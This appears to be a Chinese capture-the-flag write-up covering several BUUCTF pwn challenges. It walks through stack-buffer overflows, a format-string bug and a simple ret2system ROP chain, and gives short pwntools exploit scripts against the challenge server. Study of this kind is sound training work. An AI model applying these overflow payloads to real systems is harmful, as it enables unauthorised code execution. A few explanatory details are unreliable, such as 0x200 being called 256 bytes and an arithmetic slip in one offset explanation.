buu-pwn-1
rip
静态分析
将附件拖入IDA进行分析:
F5可以反编译查看源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
这里有个很危险的gets
函数
去找一下这个函数的介绍:https://learn.microsoft.com/zh-cn/cpp/c-runtime-library/gets-getws?view=msvc-170
gets
函数对于输入的长度没有进行校验,直至碰到\0
才停止从标准输入流中获取输入
后门函数利用
Shift+F12
查看所有字符串,发现有后门
在fun
中找到如下后门:
查看需要多少偏移:
- 双击s进入栈区查看
- 需要偏移23个字节,返回字段填后门地址
EXP
堆栈平衡问题
二进制程序运行于服务端上的某个端口,然后我们send
的数据属于远端标准输入的部分
from pwn import *
# connect remote
p = remote('node4.buuoj.cn', 25818)
# payload
payload = b'a'*23 + p64(0x401187)
# send data
p.sendline(payload)
# reverse shell
p.interactive()
warmup_csaw_2016
后门函数都给你写好了
思路就是利用栈溢出覆盖返回地址,然后跳到后门函数
偏移为0x48
exp如下
from pwn import *
# node4.buuoj.cn:28153
# 0x40060d
p = remote('node4.buuoj.cn',28153)
payload = b'a'*72 + p64(0x40060d)
p.sendline(payload)
p.interactive()
ciscn_2019_n_1
静态分析
checksec
:
拖入IDA分析:
在该局部变量中,gets
存在栈溢出,当覆盖v2
为特定的值时,可以执行后门函数
查看栈:
db:表示分配字节的伪指令
dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定
?: 只分配存储空间,不指定初值
dd:表示定义一个double字节
那么也就可以对应上述函数中的局部变量:
计算偏移
由上述的分析可知,v1的基址与v2距离44,即在v1栈溢出后就是v2的内存区域
由此可以书写exp:
from pwn import *
# node4.buuoj.cn:25860
p = remote('node4.buuoj.cn', 25860)
# p64将int转byte
payload = b'a'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016
checksec
:32位小端序
静态分析
主要逻辑是进行了字符替换,然后在strcpy
时产生了栈溢出,当覆盖返回地址题目中的后门函数时即可劫持eip即可改变程序执行流,然后获取flag
后门地址:
溢出偏移:
fgets
能写入最大32字节,然后地址需要占据4字节大小。
需要溢出到64字节位置,这段栈区为垃圾填充数据,所以需要输入64 mod 3 = 21
个I
,然后再填充一个字节,最后放上后门地址
EXP
from pwn import *
# node4.buuoj.cn:26086
p = remote('node4.buuoj.cn', 26086)
payload = b'I'*21 + b'a' + p32(0x8048F0D)
p.sendline(payload)
p.interactive()
jarvisoj_level0
checksec
静态分析
从标准输入里读取0x200个字节(256个)的数据,但是数组只有128大小,存在栈溢出
查看栈,只需要溢出0x88字节,即可劫持rip
然后再看有没有后门:
EXP
from pwn import *
# node4.buuoj.cn:26426
p = remote('node4.buuoj.cn',26426)
payload = b'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()
[第五空间2019 决赛]PWN5
checksec
32位小端,且有canary
静态分析
setvbuf
用于设置缓冲模式,此处设置
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
stream
:指向FILE
对象的指针,表示要设置缓冲区的文件流。
buffer
:指向用于缓冲的数组的指针。可以为NULL
,表示由系统自动分配缓冲区。
mode
:缓冲模式,可以取以下值之一:- `_IOFBF`:全缓冲(I/O 缓冲区大小由 `size` 指定)。
_IOLBF
:行缓冲。
_IONBF
:无缓冲。
size
:缓冲区大小(以字节为单位),如果buffer
参数不为NULL
,则该参数表示提供的缓冲区的大小。
19行直接从标准输入读取字节流到buf中,大小为0x63u
在21行选择直接打印,存在格式化字符串漏洞,从而可以越界读
然后看dword_804C044
的位置了 ,bss段上...
解决方法
写:使用格式化字符串%{}$n
%10$n
是一个格式化字符串中的特殊构造,主要用于 C 语言的 printf
或类似的格式化输出函数。这部分格式字符串的含义是将到目前为止已经输出的字符数(几个字节)写入到参数列表中的第10个整数变量中。
从而对bss段进行任意写
参考
jarvisoj_level2
checksec
:开启了NX
(不可执行栈)
NX补充:
程序运行时,将数据所在内存页标记为不可执行的。
静态分析
一眼栈溢出
hint
变量在.data
上
倘如能用system
执行/bin/sh
,那么不就getshell
了吗
ROP初探
ROP,返回导向编程。在能够劫持eip下,不断改变eip将程序中的gadgets给串起来,然后达到攻击效果
此处栈上的shellcode
是不可执行的,但是可以跳到其他段上执行
关于ret和call的一点点区别
ret
如果想用ret
完成类似于函数调用的过程,需要自己补充栈上的参数。
(即下一个eip以及参数)
call
call类指令会自动完成上述过程
参数是提前写入栈或寄存器的,在call
时,压入call
下一条地址,然后进入函数体执行。
EXP
那么在该题中,由于存在栈溢出,可以覆盖ret地址到system,然后调用bin/sh
from pwn import *
context(log_level='debug', os='linux', arch='i386')
#p = process("./level2")
p = remote('node4.buuoj.cn',27104)
# 利用ret需要自己填充
payload = b'a'*(0x88+4)+p32(0x8048320)+p32(0)+p32(0x0804A024)
p.recvuntil('Input:')
p.sendline(payload)
p.interactive()
参考
https://www.cnblogs.com/xshhc/p/16939678.html
ciscn_2019_n_8
好像是道正常的代码审计题,也没溢出什么的
解引用&var[13]
,判断是否有东西
然后等于8字节的17时即可getshell
15长的双字数组
exp如下:
from pwn import *
context(log_level='debug', os='linux', arch='i386')
# node4.buuoj.cn:27520
#p = process('./ciscn_2019_n_8')
p = remote('node4.buuoj.cn', 27520)
payload = b'bbbb'*13+p64(17)
p.recvuntil('name?')
p.sendline(payload)
p.interactive()
bjdctf_2020_babystack
栈溢出,不多解释了
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
#p = process('bjdctf_2020_babystack')
p = remote('node4.buuoj.cn', 29416)
length = b'100'
shAddr = 0x4006E6
payload = b'a'*(0x10+8)+ p64(shAddr)+b'\x00'
p.recvuntil('name:')
p.sendline(length)
p.recvuntil('name?')
p.sendline(payload)
p.interactive()